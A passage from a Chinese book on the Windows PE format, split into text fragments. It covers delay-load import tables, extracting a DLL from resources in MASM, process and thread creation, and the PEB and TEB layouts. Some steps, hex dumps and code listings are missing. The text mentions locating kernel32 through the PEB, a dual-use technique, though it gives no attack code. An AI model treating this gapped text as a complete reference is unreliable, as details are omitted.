延迟加载导入的概念：系统开始运行程序时被指定的延迟加载的DLL是不被载入的，只有等到程序调用了该动态链接库的函数时，系统才将该链接库载入内存空间，并执行相关函数代码，详细内容请见8.3节。 延迟加载导入技术在很多场合是非常有用的，这些情况包括但不限于以下三种情况： 提高应用程序加载速度 提高应用程序兼容性 提高应用程序可整合性 下面分别介绍以上三种情况的详细内容。 8.1.1 提高应用程序加载速度 如果一个应用程序使用了很多的DLL，PE加载器在将程序映像加载到虚拟地址空间的时候，同时也会把所有的DLL一起提前加载到进程空间，而且在加载每个DLL时还会调用DLL的入口函数，对DLL进行初始化，尽管这时候程序并没有开始调用这些引入的动态链接库的函数。这些操作的存在使得进程加载时会耗费一些时间，可能会使程序加载速度受到影响，而延迟加载则可以完全避开这一点。这就好像安排一项多人要完成的工作，只有当需要某人的时候才正式通知他一样。 8.1.2 提高应用程序兼容性 8.1.2 提高应用程序兼容性 同一个DLL在不同时期会有不同的版本。一般情况下，新的DLL除了对原有函数的继承和优化外，通常还会增加一些新的函数。如果我们在应用程序中调用了一个DLL的新函数，运行时所在环境提供的却是老的DLL，那么加载时系统就会提示错误，然后拒绝执行应用程序。如果我们在代码中先对运行的环境进行检测，发现存在老的DLL，则不再调用这个不存在的函数，要么友好提示，要么通过其他方式实现该函数的功能。这样就可以保证在没有新DLL的环境中，程序依旧可以被PE加载器加载并运行。举个简单例子： 假设现在有DLL的两个不同版本，旧的MyDll.dll和新的MyDll.dll，其中在新的MyDll.dll中又增加了一个函数_getImportDescriptor()。 应用程序中部分代码如下： invoke getEnv ;获取当前执行环境 .if eax ;如果有新的MyDll.dll ;调用新函数_getImportDescriptor invoke _getImportDescriptor,addr lpszHeader,addr szIDBuffer .else ;如果没有新函数，则显示旧系统版本提示信息 ;当然，你也可以在这里用其他的代码实现_getImportDescriptor方法 invoke MessageBox,NULL,addr szInOldEnv,NULL,MB_OK .endif 把这段代码按照正常的编码方式放到一个源文件里，然后编译、链接，链接的时候一定会出现错误。即使你让链接通过了，运行时也会出现错误。如果我们在链接时告诉链接器新的MyDll.dll使用加载延迟加载导入的方法，链接器就会为我们单独处理这个函数的调用，从而避免错误的出现。这种提高应用程序适应不同环境的能力，称为可移植的兼容性。"},
    {"text": "8.1.3 提高应用程序可整合性 8.1.3 提高应用程序可整合性 不要被可整合性这么难懂的概念吓倒。在现实中总是存在一些有特别嗜好的程序员，比如笔者，受早期使用MS-DOS下应用程序的习惯影响，并不喜欢目前Windows下应用程序的安装方式。在Windows系统下，程序运行需要先安装，不需要的时候还要通过控制面板卸载，与程序有关的数据并不是仅仅存储在一个独立的目录下，而是遍及整个磁盘，如运行时库所在目录、注册表、系统目录、系统的配置管理器目录等。这把一个完整的程序变得四分五裂，在程序的后期管理维护和移植上制造了很多麻烦。为了使软件易于安装，于是软件就有了绿色的概念，我喜欢绿色软件，更倾向于将所有的东西全部存储在一个文件里。想拷走的时候就仅仅复制一个文件，与文件有关的配置信息、数据库、链接库等都在一个文件里，那该是多么好的一件事情！这里指的可整合就是这种情况。 在做全国计算机职称考试网上报名系统课题的时候，有一个模块需要链接到全国计算机职称考试系统（TMS）数据库，以获取考生考场座位号安排。笔者使用C语言直接链接到Microsoft SQL Server 2000，最终生成的模块只有两个文件：可执行文件和编程时需要的动态链接库Ntwdblib.dll文件。可笔者感觉还是不顺眼，总想把这两个合并成一个文件。后来使用延迟加载导入技术才把这个功能实现，后面的例子将会为大家演示这种方法。下面来看在PE文件中存在的延迟加载导入数据。 8.2 PE中的延迟加载导入表 8.2 PE中的延迟加载导入表 在Windows XP SP3的大部分系统PE文件中，都存在延迟加载导入表数据。延迟加载导入表数据的整体组织与导入表类似，也存在INT和IAT双桥结构，在本书第4章导入表中已做了详细描述。下面通过一个实例来看PE中的延迟加载导入表。 8.2.1 延迟加载导入表数据定位 延迟加载导入数据为数据目录中注册的数据类型之一，其描述信息处于数据目录的第14个目录项中。使用PEDump小工具获取chapter8\\HelloWorld.exe的数据目录表内容如下： 加粗部分即为延迟加载导入数据目录信息。通过以上字节码得到如下信息： 延迟加载导入数据所在地址RVA=0x00000203c 延迟加载导入数据大小=00000040h 以下是使用小工具PEInfo获取的该文件所有的节信息： 根据RVA与FOA的换算关系，可以得到： 延迟加载导入数据所在文件的偏移地址为0x0000083c。 8.2.2 延迟加载导入描述符IMAGE_DELAY_IMPORT_DESCRIPTOR 8.2.2 延迟加载导入描述符IMAGE_DELAY_IMPORT_DESCRIPTOR 延迟加载导入数据目录指向的位置为延迟加载导入描述结构IMAGE_DELAY_IMPORT_DESCRIPTOR，本结构的详细定义如下： 以下是对各字段的详细解释。 84.IMAGE_DELAY_IMPORT_DESCRIPTOR.Attributes +0000h，双字。属性，暂时未用，链接器在生成映像文件时将此字段设置为0。用户可以在将来扩展这个结构时用它来指明添加了新字段，或者用它来指明延迟加载导入或卸载辅助函数的行为。 85.IMAGE_DELAY_IMPORT_DESCRIPTOR.Name +0004h，双字。指向延迟加载导入的动态链接库的名字字符串的地址，该地址是一个RVA。 86.IMAGE_DELAY_IMPORT_DESCRIPTOR.ModuleHandle +0008h，双字。被延迟加载的DLL模块句柄的RVA。该RVA位于PE映像的数据节中，延迟加载辅助函数使用这个位置存储要被延迟加载的DLL的模块句柄。 87.IMAGE_DELAY_IMPORT_DESCRIPTOR.DelayIAT +000Ch，双字。延迟加载导入地址表的RVA。延迟加载辅助函数用导入符号的实际地址来更新这些指针，以便起转换作用的这部分代码不会陷入循环调用之中。 88.IMAGE_DELAY_IMPORT_DESCRIPTOR.DelayINT +0010h，双字。延迟加载导入名称表（INT）包含了可能需要被加载的导入符号的名称。它们的排列方式与IAT中的函数指针一样，它们的结构与标准的INT一样。结构的详细信息请参照第4章导入表部分。 89.IMAGE_DELAY_IMPORT_DESCRIPTOR.BoundDelayIT +0014h，双字。延迟绑定导入地址表（BIAT）是由IMAGE_THUNK_DATA结构组成的数组，它是可选的。它与延迟加载目录表中的TimeStamp字段一起被用于后处理绑定阶段。 90.IMAGE_DELAY_IMPORT_DESCRIPTOR.UnloadDelayIT +0018h，双字。延迟卸载导入地址表（UIAT）是由IMAGE_THUNK_DATA结构组成的数组，它是可选的。卸载代码用它来处理明确的卸载请求。它由只读节中已初始化的数据组成，这些数据是原始IAT的精确副本。在处理卸载请求时，可以释放这个DLL，同时将IMAGE_DELAY_IMPORT_DESCRIPTOR.ModuleHandle清零，并用UIAT覆盖IAT，以便将一切还原到预加载时的状态。 91.IMAGE_DELAY_IMPORT_DESCRIPTOR.TimeStamp +001Ch，双字。表示应用程序绑定到DLL的时间戳。"},
    {"text": "8.2.3 延迟加载导入表实例分析 8.2.3 延迟加载导入表实例分析 下面通过一个实例，演示延迟加载导入技术如何应用。 从文件chapter8\\HelloWorld.exe的0x0000083c处取出40h字节，如下黑体部分： IMAGE_DELAY_IMPORT_DESCRIPTOR.Name。指向文件偏移0x00000830开始的字符串\"MyDll.dll\"。 ＞＞1C 30 40 00 IMAGE_DELAY_IMPORT_DESCRIPTOR.ModuleHandle。指向.data段，文件偏移0x00000a1c处，此处用来存放MyDll.dll的模块句柄。 ＞＞14 30 40 00 IMAGE_DELAY_IMPORT_DESCRIPTOR.DelayIAT。指向了延迟加载导入的IAT，位于文件偏移的0x00000a14位置处。该位置位于.data段。以下是该位置的字节码： 下划线部分用于在运行时存放MyDll.dll的句柄。 ＞＞7C 20 40 00 IMAGE_DELAY_IMPORT_DESCRIPTOR.DelayINT。指向了延迟加载导入的INT，位于文件偏移的0x0000087c位置处，该位置位于.rdata段。从该处取出的值为0x00402084，它指向了函数sayHello的hint/name描述：00 00/73 61 79 48 65 6C 6C 6F 00 00。 ＞＞90 20 40 00 IMAGE_DELAY_IMPORT_DESCRIPTOR.BoundDelayIT。指向了绑定延迟加载导入表，位于文件偏移0x00000890位置处，该位置位于.rdata段。从该处取出的值为0x00000000，表示该映像文件无绑定延迟加载导入定义。 现在来看前面分析的程序HelloWorld.exe的源代码，见代码清单8-1。该文件可以在随书文件chapter8目录下的HelloWorld.asm中找到。 代码清单8-1 延迟加载导入实例（chapter8\\HelloWorld.asm） 按照常规方法对该程序进行编译链接，然后执行程序，命令序列如下： ml -c -coff HelloWorld.asm link-subsystem:windows HelloWorld.obj HelloWorld 执行结果没有发生问题，如约地弹出了对话框。接下来对源代码重新指定链接参数，命令序列如下： ml -c -coff HelloWorld.asm link-subsystem:windows-delayload:MyDll.dll delayimp.lib HelloWorld.obj HelloWorld 将第一次生成的HelloWorld.exe更名为hw1.exe，将第二次生成的HelloWorld.exe更名为hw2.exe，然后分别运行两个文件，发现两个执行结果完全一样，看起来两个PE文件执行并没有区别。 接下来，将MyDll.dll换个名字或者直接删除，再来执行这两个程序。现在应该看出区别了。hw1.exe提示如图8-1所示的错误信息，而hw2.exe则可以正常运行。原因就是hw2使用了延迟加载导入技术，而hw1没有使用延迟加载导入技术！ 细心的你一定发现了在第二次链接时，我们使用了一个外来的delayimp.lib库，该库函数从C语言的SDK中获得。那么到底是什么机制使得延迟加载导入的技术生效了呢？仔细对比两个可执行程序，尽管源代码完全一样，但由于链接时链接器根据参数对PE文件进行了改动，所以其最终生成的PE文件大小却大相径庭，前者2560字节，后者3072字节。多出的部分即为辅助实现延迟加载机制的代码。 8.3 延迟加载导入机制详解 8.3 延迟加载导入机制详解 系统开始运行程序时被指定的延迟加载的DLL是不被载入的，只有等到程序调用了该动态链接库的函数时，系统才将该链接库载入内存空间，并执行相关函数代码，这就是本节要介绍的延迟加载机制。下面将从链接器行为和具备延迟加载导入表的PE文件字节码入手，分析延迟加载导入机制。 先来看看使用延迟加载导入机制时链接器到底对PE做了哪些修改。 当链接器接收到以下参数（加黑部分）时，会做以下事情： link-subsystem:windows-delayload:MyDll.dll delayimp.lib HelloWorld.obj 首先，将一个函数_delayLoadHelper嵌入PE文件的可执行模块。 其次，从可执行模块的导入表部分删除MyDll.dll及相关信息，这样，当进程初始化的时候，操作系统的加载程序就不会显式加载该动态链接库了。 最后，在PE中把刚才删除的相关信息重新构造好，以便告诉_delayLoadHelper哪些函数是从MyDll.dll中导出的。 当应用程序运行时，对延迟加载函数的调用实际上是对函数_delayLoadHelper的调用。该函数知道链接器创建的与MyDll.dll有关的导入信息，并且还能自己通过函数LoadLibrary动态加载DLL文件，然后调用函数GetProcAddress获取引入函数的地址信息。一旦获得延迟加载函数的地址，函数_delayLoadHelper的使命就终止了。下一次该函数再被调用时，就会直接跳转到函数的VA处执行，而不再像第一次执行函数_delayLoadHelper那样了。 以下是hw1.exe和hw2.exe指令字节码的对比情况。 hw1.exe的指令字节码如下： 嵌入代码_delayLoadHelper的hw2.exe指令字节码如下： 可以看到，未加黑部分是完全一样的，链接器修改了hw1.exe的最后一个跳转指令FF 25 00 20 40 00，在其后加入了大量的代码。 关于新增加的这些指令字节码对应的反汇编，大家可以通过调试hw2.exe自己分析，此处只从OD中截选了一些友好的提示信息，大家可以从这些提示中获取一些关于函数_delayLoad Helper的信息。 由上面所列的零零星星的函数调用可以看出，函数调用了动态链接库kernel32.dll的一些比较特殊的函数，如GetProcAddress、LoadLibrary和FreeLibrary等。这些API函数主要实现的功能是动态加载/卸载动态链接库，获取指定函数的地址。可以看出，函数_delay LoadHelper接管了本该PE加载器要做的工作，在合适的时机将动态链接库调入内存，并覆盖相关调用函数的指令操作数，执行函数调用。"},
    {"text": "8.4 延迟加载导入编程 8.4 延迟加载导入编程 在8.1节中，我们已经了解了延迟加载导入的三个作用；由于其原理是一致的，所以本节以一个相对复杂的“提高应用程序可整合性”为例，为读者演示延迟加载导入的作用。 该例子以第2章中的pe.asm为基础，在现有代码上进行简单地修改。 8.4.1 修改资源文件pe.rc 在资源文件中将动态链接库winResult.dll文件作为自定义资源加入，相关定义如下： #define IDB_WINRESULT 5000 #define DLLTYPE 6000 ICO_MAIN ICON\"main.ico\" IDB_WINRESULT DLLTYPE\"winResult.dll\" 8.4.2 修改源代码pe.asm 8.4.2 修改源代码pe.asm 在源代码中增加释放资源中的动态链接库函数winResult.dll的代码，详见代码清单8-2。 代码清单8-2 动态创建DLL文件（chapter8\\pe.asm） 1 ;-------------------------- 2 ;动态创建winResult.dll 3 ;-------------------------- 4 _createDll proc _hInstance 5 local @dwWritten 6 7 pushad 8 9 ;寻找资源 10 invoke FindResource,_hInstance,IDB_WINRESULT,DLLTYPE ;winResult.dll 11 .if eax 12 mov hRes,eax 13 invoke SizeofResource,_hInstance,eax ;获取资源尺寸 14 mov dwResSize,eax 15 invoke LoadResource,_hInstance,hRes ;装入资源 16 .if eax 17 invoke LockResource,eax ;锁定资源 18 .if eax 19 mov lpRes,eax ;将资源内存地址给lpRes 20 21 ;打开文件写入 22 invoke CreateFile,addr szDllName,GENERIC_WRITE,\\ 23 FILE_SHARE_READ,\\ 24 0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 25 mov hFile,eax 26 invoke WriteFile,hFile,lpRes,dwResSize,\\ 27 addr @dwWritten,NULL 28 invoke CloseHandle,hFile 29 .endif 30 .endif 31 .endif 32 popad 33 ret 34 _createDll endp 函数_createDll使用了操作PE资源的API函数，要访问资源中的自定义资源，需要经过以下几步： 步骤1 调用函数FindResource查找资源。函数需要传入要查找资源的类别及资源ID（代码第10行）。 步骤2 调用函数SizeofResource获取资源的尺寸。将获取的尺寸存储在变量dwResSize中（代码第13行）。 步骤3 调用函数LoadResource将查找到的资源加载进内存，以便访问（代码第15行）。 步骤4 调用函数LockResource锁定资源。只有被锁定的资源才可以通过内存地址指针进行读写（代码第17行）。 行19～28是复制已锁定的资源内容到文件，从而完成对winResult.dll的重新创建。 主程序启动后从标号start处开始运行，通过调用函数_createDll释放存储在PE资源里的动态链接库winResult.dll。这意味着pe.exe程序在调用winResult.dll里的函数sayHello之前，已经完成了此操作。当sayHello被调用时相关的动态链接库文件就已经可以在当前路径里找到了。以下是主程序代码中释放动态链接库的代码： start: invoke LoadLibrary,offset szDllEdit mov hRichEdit,eax invoke GetModuleHandle,NULL mov hInstance,eax invoke _createDll,hInstance ;在未调用DLL函数前先释放该DLL文件 invoke DialogBoxParam,hInstance,\\ DLG_MAIN,NULL,offset _ProcDlgMain,NULL invoke FreeLibrary,hRichEdit invoke ExitProcess,NULL end start 按照常规步骤编译资源文件、编译源文件、链接程序，然后将最终生成的pe.exe复制到其他位置（没有动态链接库的位置），执行时是失败的。重新按延迟加载导入的步骤编译、链接程序，最终生成的pe1.exe即可随意复制到任何目录下运行了。程序在运行前会先从自体资源中释放要调用的winResult.dll。 当然，你也可以通过这种方法，将所有与你要发布的程序相关的其他文件附加到程序本体的资源中，然后在运行期的开始阶段重新从资源表里将这些文件复制出来。你也可以在本书的第18章看到另外一种绑定文件的方法。 8.5 关于延迟加载导入的两个问题 8.5 关于延迟加载导入的两个问题 8.5.1 异常处理 通常情况下，当操作系统的加载程序加载可执行模块时，它都会设法加载必要的DLL。如果一个DLL无法加载（比如不存在该DLL文件），那么加载程序就会显示一条错误消息。如果该DLL是通过延迟加载的DLL，在进行初始化时操作系统并不负责检查是否存在该DLL。如果调用延迟加载的函数时无法找到该DLL，函数_delayLoadHelper就会引发一个软件异常。该异常可以使用结构化异常处理（SEH）方法捕获。关于SEH的详细介绍，请参照第10章。如果不跟踪该异常，你的进程就会被终止运行。 当函数_delayLoadHelper确实找到了你的DLL，但是要调用的函数却不在该DLL中时，将会出现另一个问题。比如前面提到的，如果加载程序找到一个老的DLL版本，就会发生这种情况。在这种情况下，函数_delayLoadHelper也会引发一个软件异常，针对这个软件异常的处理方法与上面相同。"},
    {"text": "8.5.2 DLL的卸载 8.5.2 DLL的卸载 如果程序中调用完通过_delayLoadHelper加载的DLL文件的函数后，很长一段时间不再需要该动态链接库，那么就可以释放该DLL，比如有的打印任务，只需调用打印操作一次，即可以将打印任务相关的函数对应的动态链接库卸载。这要求程序开发者首先要在链接器的参数中加入-delay:unload开关来设置允许对DLL的释放操作，该开关负责将另外一段代码_FUnload DelayLoadedDLL加入PE文件中，然后在需要释放DLL的代码位置调用该函数。该函数会将PE中加载进来的相关信息进行清理，最后主动调用函数FreeLibrary来卸载DLL。这类似于程序设计中的对栈进行平衡的操作一样： -delayload ;在链接器中定义加载和卸载DLL的行为 -delay:unload _delayLoadHelper() ;当用到延迟加载导入的函数时，由_delayLoadHelper调用 ---LoadLibrary() ;LoadLibrary()函数 ┇ _FUnloadDelayLoadedDLL() ;当需要卸载延迟加载导入的DLL时 ---FreeLibrary() ;由_FUnloadDelayLoadedDLL调用FreeLibrary()函数 切记千万不能自己去调用FreeLibrary来卸载DLL，否则函数的地址将不会被清除，这样，当下次试图调用DLL中的函数时，就会导致访问违规。另外，当调用函数_FUnload DelayLoadedDLL时，传递的DLL名字不应该包含路径，而且名字中的字母必须与你将DLL名字传递给-delayload链接程序开关时使用的字母大小写相同，否则，对函数_FUnloadDelayLoadedDLL的调用将会失败。如果你永远不打算卸载延迟加载的DLL，那么请不要在链接器中设定-delay:unload链接程序开关。 8.6 小结 8.6 小结 本章首先从延迟加载导入技术出发，探讨了该技术的应用背景，并分析了PE中的延迟加载导入表数据描述，最后通过一个实例演示了延迟加载导入在程序设计中的编程方法。 PE中的许多数据其实都是为某些特性而存在的，在不同的场合使用不同的技术，这充分显示出了PE文件良好的可扩展性。 第9章 线程局部存储 第9章 线程局部存储 本章介绍线程局部存储（Thread Local Storage，TLS）技术，它实现了线程内局部变量的存储访问。在该技术下定义的变量能被同一个线程内部的各个函数所调用，同时，杜绝了其他线程对这些变量的访问。该技术解决了线程同步访问全局变量时带来的诸多问题，方便了程序员对多线程程序的设计。 9.1 Windows进程与线程 线程局部存储涉及Windows进程线程相关知识，必须了解在Windows中创建进程和线程的大致步骤；因此，我们先从Windows体系结构开始。 9.1.1 Windows体系结构 现代的操作系统都是基于分层设计思路设计的。总体上讲，Windows体系结构包含用户模式部分和内核模式部分。 内核模式负责向用户模式提供可供操作的接口，这种模式下，各模块独立操作，通过良好的消息沟通机制进行彼此间的通信。 应用程序平时运行在用户模式下，当需要用到系统内核所提供的服务时，操作系统通过特殊的指令将指令地址指针eip转移到内核模式下执行，完成后再将控制权交还给用户模式下的代码。这种运作机制可以有效地保护Windows操作系统的核心代码，使其不受应用程序的错误所影响，具有良好的稳定性和可扩展性。 人们把Windows安全层次设置为Ring（环状）结构，最外层环被命名为Ring3，表示用户模式；最里层环被命名为Ring0，表示内核模式。Windows体系结构如图9-1所示。 图 9-1 Windows体系结构 如图9-1所示，Windows体系结构由用户模式和内核模式组成。最终由内核模式的硬件抽象层负责处理与硬件相关的数据通信（当然，有的驱动程序本身也具备硬件抽象层的功能，所以图上设备驱动程序与硬件抽象层有重叠的部分）。 从上向下看，用户开发的应用程序a.exe和b.exe调用了Windows子系统的动态链接库；其中大部分函数被转移到ntdll.dll中实现；有一些则直接进入内核模式的Win32k.sys，从用户模式到内核模式的转换使用中断调用方式。 内核模式执行体ntoskrnl.exe中的导出函数在ntdll.dll中都有存根。如果需要与硬件进行通信，则通过调用内核模式下硬件驱动程序相关函数（或由硬件驱动程序转由硬件抽象层）实现。用户也可以直接使用自定义DLL动态链接库开发程序，自定义动态链接库通过调用ntdll.dll中的函数或转由Windows子系统动态链接库调用ntdll.dll中的函数，如图中c.exe和d.exe所示。 通常情况下，用户在应用程序中会使用Win32 API调用相关函数，对大部分函数的调用最终都转到ntdll.dll中。ntdll.dll是连接用户模式代码和内核模式系统服务的桥梁，对于内核模式中提供的每一个服务，在ntdll.dll中都有一个相应的存根函数。该存根没有代码的具体实现，只提供参数传递和跳转功能，大部分函数的运行都转到了内核模式的ntoskrnl.exe中进行。"},
    {"text": "9.1.2 进程与线程创建 9.1.2 进程与线程创建 下面分两部分简单描述进程与线程的创建。 先来讨论的是内核模式下进程与线程的创建，之后再讨论用户模式下进程与线程的创建。 1.内核模式下进程与线程的创建过程 在内核中，一个进程的创建是从函数NtCreateProcess开始的。"},
    {"text": "该函数的原型如下： NTSTATUS NtCreateProcessEx( OUT PHANDLE ProcessHandle,//返回进程句柄 IN ACCESS_MASK DesiredAccess,//新进程访问权限 IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,//进程对象属性 IN HANDLE ParentProcess,//父进程句柄 IN ULANG Flags,//标志集合 IN HANDLE SectionHandle OPTIONAL,//该进程映像文件句柄 IN HANDLE DebugPort OPTIONAL,//调试端口对象指针 IN HANDLE ExceptionPort OPTIONAL,//异常端口对象指针 IN ULONG JobMemberLevel//要创建的进程在一个Job集中的级别 ); 该函数检查句柄ProcessHandle是否可写，然后将创建工作交给函数，PspCreateProcess系统中所有进程的创建工作均是由该函数负责完成的，其创建进程的步骤大致如下： 步骤1 调用函数ObCreateObject创建Windows执行体内核对象EPROCESS，该对象为新进程的进程对象；"},
    {"text": "步骤5 调用函数KeInitializeProcess初始化新进程对象的基本优先级、Affinity、进程页表目录和超空间的页帧号。 步骤6 调用函数PspInitializeProcessSecurity从父进程复制一个令牌初始化新进程的安全属性，并设置进程优先级。 步骤7 调用函数MmInitializeProcessAddressSpace初始化新进程的地址空间，并将映像映射到地址空间；"},
    {"text": "该函数是真正创建线程的函数，其原型如下： NTSTATUS PspCreateThread( OUT PHANDLE ThreadHandle,//返回线程句柄 IN ACCESS_MASK DesiredAccess,//新线程的访问权限 IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,//新线程对象属性 IN HANDLE ProcessHandle,//线程所属进程句柄 IN PEPROCESS ProcessPointer,//指向所属进程的EPROCESS对象 OUT PCLIENT_ID ClientId OPTIONAL,//返回新线程的CLIENT_ID结构 IN PCONTEXT ThreadContext OPTIONAL,//新线程的执行环境 IN PINITIAL_TEB InitialTeb OPTIONAL,//新线程TEB IN PKSTART_ROUTINE StartRoutine OPTIONAL,//系统线程启动函数地址 IN PVOID StartContext//系统线程启动函数的执行环境 ); 内核中创建线程的步骤大致如下： 步骤1 根据进程句柄获得进程对象并将其放到局部变量中。"},
    {"text": "步骤5 锁住进程，并将进程的活动线程数量加1，然后调用函数ObInsertObject把新线程加入到进程的线程链表中。 步骤6 调用函数KeStartThread，新线程即可运行。"},
    {"text": "在内核模式下，系统服务分发函数KiSystemService获得CPU控制权，它利用当前线程指定的系统服务表，调用执行体层的函数NtCreateProcessEx，开始内核过程的进程创建。"},
    {"text": "例如，跟踪一段CreateProcess代码，可以看到这种陷阱机制： 以上代码是函数Ntdll.ZwCreateSection的调用过程，前面是一系列的函数参数入栈操作，最后通过call指令调用函数。 进入到函数内部看，函数Ntdll.ZwCreateSection是一段代理代码，通过对eax赋值后，为edx指定偏移地址，即可实施call ntdll.KiFastSystemCall调用。"},
    {"text": "注意 至此，用户模式下的进程创建实际上才刚刚开始，因为最终的进程要交给Windows子系统来运行，并由子系统维护进程的状态、进程的消息等信息。"},
    {"text": "步骤5 kernel32.dll向Windows子系统发送一个消息，该消息包含了刚建立的进程和线程的相关信息； Windows子系统csrss.exe接收到此消息后，开始在子系统内部建立进程环境；"},
    {"text": "在内核中，新线程的启动例程是KiThreadStartup函数，从WRK中可以获取到该函数的代码： cPublicProc _KiThreadStartup,1 xor ebx,ebx xor esi,esi xor edi,edi xor ebp,ebp LowerIrql APC_LEVEL pop eax ;(eax)-＞SystemRoutine call eax ;调用函数SystemRoutine(StartRoutine,StartContext) pop ecx ;(ecx)=UserContextFlag or ecx,ecx jz short kits10 ;如果用户环境，则跳转到_KeBugCheck mov ebp,esp jmp _kiServiceExit2 Kits10:stdCall _KeBugCheck,＜NO_USER_MODE_CONTEXT＞ stdENDP_KiThreadStartup KiThreadStartup函数首先将中断请求级别（Interrupt ReQuest Level，IRQL）降低到APC_LEVEL，然后进入内核模式调用系统初始的线程函数PspUserThreadStartup。"},
    {"text": "读入后，将一个用户模式APC插入线程的用户APC队列中，此APC例程指向ntdll.dll的LdrInitializeThunk函数，然后函数PspUserThreadStartup返回。 步骤7 当函数KiThreadStartup返回到用户模式时，由PspUserThreadStartup插入的APC也已被交付，于是函数Ntdll.LdrinitializeThunk被调用，该函数是PE映像加载器的初始化函数。"},
    {"text": "以上过程只是对进程和线程创建的一个简单描述，详细信息可以参看潘爱民著的《Windows内核原理与实现》(ISBN 978-7-121-10528-9)。 进程和线程的建立过程读者只需要简单了解即可，本章主要关心的是在进程与线程的创建过程中，系统暴露出来的两个数据结构： 进程环境块PEB 线程环境块TEB 接下来就让我们看看这两个重要的数据结构。"},
    {"text": "9.1.3 进程环境块PEB 9.1.3 进程环境块PEB 操作系统会为每个进程设置一个数据结构，用来记录进程的相关信息。在NT中，该结构可以从进程空间的FS:[0x30]处找到。PEB描述的信息主要包括：进程状态、进程堆、PE映像信息等，其中有一个很重要的字段Ldr，该字段指向的结构中记录了进程加载进内存的所有模块的基地址，通过Ldr指向的三个链表就可以找到kernel32.dll的基地址（为什么要找它的基地址？请阅读第11章动态加载技术）。以下是进程环境块的完整定义： typedef struct _PEB { UCHAR InheritedAddressSpace ;//00h UCHAR ReadImageFileExecOptions ;//01h UCHAR BeingDebugged ;//02h 进程是否在被调试状态 UCHAR Spare ;//03h PVOID Mutant ;//04h PVOID ImageBaseAddress ;//08h 进程映像基地址 PPEB_LDR_DATA Ldr ;//0Ch 加载的其他模块信息 PRTL_USER_PROCESS_PARAMETERS ProcessParameters ;//10h PVOID SubSystemData ;//14h PVOID ProcessHeap ;//18h PVOID FastPebLock ;//1Ch PPEBLOCKROUTINE FastPebLockRoutine ;//20h PPEBLOCKROUTINE FastPebUnlockRoutine ;//24h ULONG EnvironmentUpdateCount ;//28h PVOID*KernelCallbackTable ;//2Ch PVOID EventLogSection ;//30h PVOID EventLog ;//34h PPEB_FREE_BLOCK FreeList ;//38h ULONG TlsExpansionCounter ;//3Ch TLS索引计数 PVOID TlsBitmap ;//40h TLS位图指针 ULONG TlsBitmapBits [0x2] ;//44h TLS进程标志位 PVOID ReadOnlySharedMemoryBase ;//4Ch PVOID ReadOnlySharedMemoryHeap ;//50h PVOID*ReadOnlyStaticServerData ;//54h PVOID AnsiCodePageData ;//58h PVOID OemCodePageData ;//5Ch PVOID UnicodeCaseTableData ;//60h ULONG NumberOfProcessors ;//64h ULONG NtGlobalFlag ;//68h 全局标志 UCHAR Spare2[0x4] ;//6Ch LARGE_INTEGER CriticalSectionTimeout ;//70h ULONG HeapSegmentReserve ;//78h ULONG HeapSegmentCommit ;//7Ch ULONG HeapDeCommitTotalFreeThreshold ;//80h ULONG HeapDeCommitFreeBlockThreshold ;//84h ULONG NumberOfHeaps ;//88h ULONG MaximumNumberOfHeaps ;//8Ch PVOID**ProcessHeaps ;//90h PVOID GdiSharedHandleTable ;//94h PVOID ProcessStarterHelper ;//98h PVOID GdiDCAttributeList ;//9Ch PVOID LoaderLock ;//A0h ULONG OSMajorVersion ;//A4h ULONG OSMinorVersion ;//A8h ULONG OSBuildNumber ;//ACh ULONG OSPlatformId ;//B0h ULONG ImageSubSystem ;//B4h ULONG ImageSubSystemMajorVersion ;//B8h ULONG ImageSubSystemMinorVersion ;//C0h ULONG GdiHandleBuffer [0x22] ;//C4h ULONGPostProcessInitRoutine ;//14Ch ULONGTlsExpansionBitmap ;//150h BYTETlsExpansionBitmapBits [0x80] ;//154h ULONG?SessionId ;//1D4h }PEB,*PPEB ; 其中，偏移+0040h处为指向一个RTL_BITMAP数据结构的指针，该数据结构定义如下： typedef struct _RTL_BITMAP{ ULONG SizeOfBitMap ;//TLS进程标志位长度 PULONG Buffer ;//TLS进程标志所在缓冲 }RTL_BITMAP,*PRTL_BITMAP; 显然，其目的是要提供一个缓冲区，而真正的缓冲区在Buffer所指的地方。通常情况下，该值为PEB中的TlsBitmapBits[2]，但是有需要时也不排斥采用别的缓冲区，两个32位长的字只能提供64个标志位。"},
    {"text": "9.1.4 线程环境块TEB 9.1.4 线程环境块TEB 以下是线程环境块的完整定义： typedef struct _NT_TEB { NT_TIB Tib ;//00h PVOID EnvironmentPointer ;//1Ch CLIENT_ID Cid ;//20h PVOID ActiveRpcInfo ;//28h PVOID ThreadLocalStoragePointer ;//2Ch合并后的TLS副本指针 PPEB Peb ;//30h指向所属进程的PEB ULONG LastErrorValue ;//34h ULONG CountOfOwnedCriticalSections ;//38h PVOID CsrClientThread ;//3Ch PVOID Win32ThreadInfo ;//40h ULONG Win32ClientInfo [0x1F] ;//44h PVOID WOW32Reserved ;//C0h ULONG CurrentLocale ;//C4h ULONG FpSoftwareStatusRegister ;//C8h PVOID SystemReserved1[0x36] ;//CCh PVOID Spare1 ;//1A4h LONG ExceptionCode ;//1A8h ULONG SpareBytes1[0x28] ;//1ACh PVOID SystemReserved2[0xA] ;//1D4h GDI_TEB_BATCH GdiTebBatch ;//1FCh ULONG gdiRgn ;//6DCh ULONG gdiPen ;//6E0h ULONG gdiBrush ;//6E4h CLIENT_ID RealClientId ;//6E8h PVOID GdiCachedProcessHandle ;//6F0h ULONG GdiClientPID ;//6F4h ULONG GdiClientTID ;//6F8h PVOID GdiThreadLocaleInfo ;//6FCh PVOID UserReserved [5] ;//700h PVOID glDispatchTable [0x118] ;//714h ULONG glReserved1[0x1A] ;//B74h PVOID glReserved2 ;//BDCh PVOID glSectionInfo ;//BE0h PVOID glSection ;//BE4h PVOID glTable ;//BE8h PVOID glCurrentRC ;//BECh PVOID glContext ;//BF0h NTSTATUS LastStatusValue ;//BF4h UNICODE_STRING StaticUnicodeString ;//BF8h WCHAR StaticUnicodeBuffer [0x105] ;//C00h PVOID DeallocationStack ;//E0Ch PVOID TlsSlots [0x40] ;//E10h 线程的TLS存储槽 LIST_ENTRY TlsLinks ;//F10h PVOID Vdm ;//F18h PVOID ReservedForNtRpc ;//F1Ch PVOID DbgSsReserved [0x2] ;//F20h ULONG HardErrorDisabled ;//F28h PVOID Instrumentation [0x10] ;//F2Ch 